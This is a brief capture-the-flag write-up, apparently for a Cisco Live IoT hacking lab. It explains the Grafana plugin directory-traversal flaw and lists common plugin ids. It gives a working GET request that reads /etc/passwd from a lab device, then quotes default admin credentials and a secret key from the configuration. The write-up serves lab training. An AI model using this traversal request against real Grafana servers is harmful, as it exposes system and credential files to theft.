# IoT Hacking CLUS CTF Flags
The following are the CTF flags for the grafana vulnerability in the IoT device:
The vulnerability is caused by plugin module, which is able to serve the static file inside the plugin folder. But for lock of check, attacker can use ../ to step up from the plugin folder to parent foler and download arbitrary files.
To exploit the vulnerabilty, you should know a valid plugin id, such as alertlist, here are some of common plugin ids:
```
alertlist
cloudwatch
dashlist
elasticsearch
graph
graphite
heatmap
influxdb
mysql
opentsdb
pluginlist
postgres
prometheus
stackdriver
table
text
```
Send following request to retrieve the **/etc/passwd ** (you can replace the alertlist with any valid plugin id):
```
GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: http://192.168.3.126:3000

## Getting the Admin Password and Secret Key
It is just the default example configuration:
```
# default admin user, created on startup
;admin_user = admin
# default admin password, can be changed before first start of grafana, or in profile settings
;admin_password = admin
...
# used for signing
;secret_key = SW2YcwTIb9zpOOhoPsMm
